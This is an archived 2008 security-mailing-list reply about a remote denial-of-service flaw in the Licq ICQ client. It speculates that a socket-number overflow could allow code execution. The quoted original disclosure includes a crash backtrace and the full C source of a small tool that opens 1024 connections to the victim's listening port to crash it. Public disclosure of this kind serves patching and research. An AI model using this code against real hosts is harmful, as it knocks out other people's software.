Re: licq remote DoS?

2008-04-10T00:00:00
ID SECURITYVULNS:DOC:19608
Type securityvulns
Reporter Securityvulns
Modified 2008-04-10T00:00:00

Description

Dear Milen Rangelov,

Actually, if number of sockets is not limited, it leads to worse situation of fd_set structure index overflow. This problem is described here:

http://securityvulns.ru/news4400.html

in case of licq there is no check for socket() number to be below FD_SETSIZE and it leads to potentially exploitable situation very similar to off-by-one overflow in icqd-filetransfer.cpp, where one (easy) of few (harder) bits on the stack may be controlled by attacker, in this situation:

void FileTransferManager_tep(void arg) { CFileTransferManager ftman = (CFileTransferManager )arg;

fd_set f_recv, f_send;

....

nSocketsAvailable = select(l, &f_recv, &f_send, NULL, tv);

attacker can partially control ftman pointer (and may be even saved ebp/eip), code execution is not something absolutely impossible.

--Tuesday, April 8, 2008, 5:12:56 PM, you wrote to bugtraq@securityfocus.com:

MR> Hello,

MR> Licq is a linux qt-based ICQ client. There is a vulnerability in the way MR> licq processes new incoming TCP connections which can be exploited by a MR> remote attacker to crash the client.

MR> When executed, licq opens a listening socket at a random port (AFAIK MR> between 30000 and 65000). There is no host-based authentication and any MR> remote host can connect to it. Those connections are not closed by licq MR> after a given timeout period.

MR> When all possible open file descriptors are exhausted (they are limited MR> to 1024 for non-root users in most linux installations /ulimit -n/), a MR> new incoming TCP connection causes licq to crash.

MR> Here is some example:

MR> We run licq: MR> gat3way@gat3way:~$ licq

MR> from another console, we find out the port licq is listening to (we'd MR> need to portscan if the target is on a remote system):

MR> gat3way@gat3way:/tmp$ lsof |grep licq|grep LISTEN MR> licq 10783 gat3way 9u IPv4 35993218 TCP MR> *:52259 (LISTEN)

MR> Now we run our "evil" denial of service code: MR> gat3way@gat3way:/tmp$ ./licq-break 127.0.0.1 52259 MR> ip=127.0.0.1 MR> done!

MR> and go back to the console on which we ran licq...oops..

MR> Licq Segmentation Violation Detected. MR> Backtrace (saved in /home/gat3way/.licq//licq.backtrace): MR> licq(licq_handle_sigabrt+0x2b4) [0x80f68d4] MR> [0xffffe420] MR> /lib/libc.so.6(abort+0x101) [0xb7b17811] MR> licq [0x80f6b1d] MR> [0xffffe420] MR> licq(_Z18MonitorSockets_tepPv+0x3ca) [0x80c907a] MR> /lib/libpthread.so.0 [0xb7d9e383] MR> /lib/libc.so.6(clone+0x5e) [0xb7bc173e] MR> Attempting to generate core file. MR> ....

MR> The source of licq-break (nothing particular, just connects MAX sockets MR> to a certain port at the victim's host): MR> -------------------------

MR> #include <stdio.h> MR> #include <unistd.h> MR> #include <stdlib.h> MR> #include <string.h> MR> #include <sys/types.h> MR> #include <sys/socket.h> MR> #include <netinet/in.h>

MR> // change to suit your needs MR> #define MAX 1024

MR> int fds[MAX];

MR> int main(int argc, char *argv[]) MR> { MR> int port,a; MR> char host[12]; MR> struct sockaddr_in victim; MR> struct in_addr inp;

MR> if (argc!=3) MR> { MR> printf("usage: %s <ip> <port>\n",argv[0]); MR> exit(1); MR> }

MR> port=atoi(argv[2]); MR> strcpy(host,argv[1]); MR> printf("ip=%s\n",host);

MR> for (a=1;a<=MAX;a++) MR> { MR> fds[a]=socket(PF_INET,SOCK_STREAM,0); MR> victim.sin_family= AF_INET; MR> victim.sin_port=htons(port); MR> inet_aton(host,&victim.sin_addr); MR> connect(fds[a],&victim,sizeof(victim)); MR> }

MR> printf("done!");

MR> }

-- ~/ZARAZA http://securityvulns.com/